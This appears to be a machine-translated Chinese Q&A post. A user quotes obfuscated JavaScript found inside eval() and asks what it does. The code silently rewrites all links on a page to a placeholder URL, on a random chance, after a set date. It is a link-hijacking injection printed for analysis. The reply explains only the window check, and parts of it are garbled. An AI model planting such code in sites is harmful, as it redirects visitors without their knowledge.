我看到了这样的代码
if (!('o' in window)) {
o = "somelink";
l =["n", "somelink"];
p =[0.8,1]; d = new Date("2018/01/01");
if (Date.now() >= d) {
r = Math.random();
var x = document.getElementsByTagName('a');
f=0;
for(j in x)
if(x[j].href && x[j].href.indexOf(o) != -1 )
f=1;
if(!f)
for(i in l)
if (p[i] >= r) {
if (l[i] != 'n')
for (j in x) x[j].href = l[i];
break;
}
}
}
它在eval()
功能内部,我需要了解它是什么。有人可以向我解释这个代码吗?谢谢
它必须b在窗口中设置的一些变量,用户正在检查Windows Object中的'o'是否不在
console.log('o' in window)
window.o = 'MyData';
console.log('o' in window)
!('o' in window)
有点像另一种说法typeof window.o === 'undefined'
。基本上,只有在o
对象中不存在CC_4时,代码块才会运行。